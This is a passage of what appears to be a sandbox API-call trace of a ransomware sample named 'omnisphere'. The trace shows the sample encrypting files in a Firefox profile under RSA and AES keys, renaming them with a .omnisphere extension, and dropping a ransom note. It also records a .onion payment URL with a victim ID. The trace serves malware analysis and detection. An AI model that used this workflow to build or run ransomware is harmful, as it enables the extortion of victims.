nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="SecurityPreloadState.txt", cAlternateFileName="SECURI~1.TXT")) returned 1 [0161.360] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e0d6ab, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x120, dwReserved0=0x0, dwReserved1=0xcc, cFileName="sessionCheckpoints.json", cAlternateFileName="SESSIO~1.JSO")) returned 1 [0161.360] GetProcessHeap () returned 0x1600000 [0161.360] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x17301c8 [0161.360] PathCombineW (in: pszDest=0x17301c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="sessionCheckpoints.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json" [0161.360] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0161.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessioncheckpoints.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.361] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=288) returned 1 [0161.361] GetTickCount () returned 0x116814d [0161.361] GetTickCount () returned 0x116814d [0161.361] GetTickCount () returned 0x116814d [0161.361] GetTickCount () returned 0x116814d [0161.361] GetTickCount () returned 0x116814d [0161.361] GetTickCount () returned 0x116814d [0161.361] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] GetTickCount () returned 0x116814d [0161.362] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668f00) returned 1 [0161.363] CryptImportKey (in: hProv=0x1668f00, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0161.363] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.363] CryptDestroyKey (hKey=0x1639b28) returned 1 [0161.363] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0161.363] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x120, lpName=0x0) returned 0x3c0 [0161.363] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x120) returned 0x1480000 [0161.364] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668bd0) returned 1 [0161.364] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639568) returned 1 [0161.364] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.364] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.364] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.365] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.365] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0161.365] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.365] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.367] GetProcessHeap () returned 0x1600000 [0161.367] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e2) returned 0x1747e28 [0161.367] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessioncheckpoints.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessioncheckpoints.json.omnisphere")) returned 1 [0161.368] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json.omnisphere.id" [0161.368] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessioncheckpoints.json.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.368] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.369] CloseHandle (hObject=0x388) returned 1 [0161.369] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.370] CloseHandle (hObject=0x3c0) returned 1 [0161.370] SetEndOfFile (hFile=0x288) returned 1 [0161.370] FlushFileBuffers (hFile=0x288) returned 1 [0161.372] CloseHandle (hObject=0x288) returned 1 [0161.373] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.373] GetProcessHeap () returned 0x1600000 [0161.373] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1748118 [0161.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.373] GetProcessHeap () returned 0x1600000 [0161.373] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17340a8 [0161.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17340a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.373] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.373] GetProcessHeap () returned 0x1600000 [0161.373] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726878 [0161.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726878, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.373] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.373] GetProcessHeap () returned 0x1600000 [0161.373] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x17302a8 [0161.373] PathCombineW (in: pszDest=0x17302a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.373] GetProcessHeap () returned 0x1600000 [0161.373] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173ae20 [0161.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.374] WriteFile (in: hFile=0x288, lpBuffer=0x173ae20*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173ae20*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.374] CloseHandle (hObject=0x288) returned 1 [0161.374] GetProcessHeap () returned 0x1600000 [0161.374] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1748118 | out: hHeap=0x1600000) returned 1 [0161.374] GetProcessHeap () returned 0x1600000 [0161.374] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c798 [0161.374] PathCombineW (in: pszDest=0x162c798, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.374] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.374] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.374] CloseHandle (hObject=0x288) returned 1 [0161.374] GetProcessHeap () returned 0x1600000 [0161.374] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c798 | out: hHeap=0x1600000) returned 1 [0161.374] GetProcessHeap () returned 0x1600000 [0161.375] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17301c8 | out: hHeap=0x1600000) returned 1 [0161.375] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7794358d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7ea601f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="sessionstore-backups", cAlternateFileName="SESSIO~1")) returned 1 [0161.375] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e7fd9e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb7e7fd9e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7e7fd9e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1433, dwReserved0=0x0, dwReserved1=0xcc, cFileName="sessionstore.js", cAlternateFileName="SESSIO~1.JS")) returned 1 [0161.375] GetProcessHeap () returned 0x1600000 [0161.375] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162bd08 [0161.375] PathCombineW (in: pszDest=0x162bd08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="sessionstore.js" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js" [0161.375] StrStrW (lpFirst=".omnisphere", lpSrch=".js") returned 0x0 [0161.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.376] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=5171) returned 1 [0161.376] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xf0f, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.376] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0161.379] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.380] GetTickCount () returned 0x116815d [0161.381] GetTickCount () returned 0x116815d [0161.381] GetTickCount () returned 0x116815d [0161.381] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668df0) returned 1 [0161.381] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639628) returned 1 [0161.381] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0161.381] CryptDestroyKey (hKey=0x1639628) returned 1 [0161.381] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0161.381] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1433, lpName=0x0) returned 0x3c0 [0161.381] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1433) returned 0x1480000 [0161.382] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668ac0) returned 1 [0161.382] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639868) returned 1 [0161.382] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0161.382] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0161.382] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.382] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.382] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.383] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) 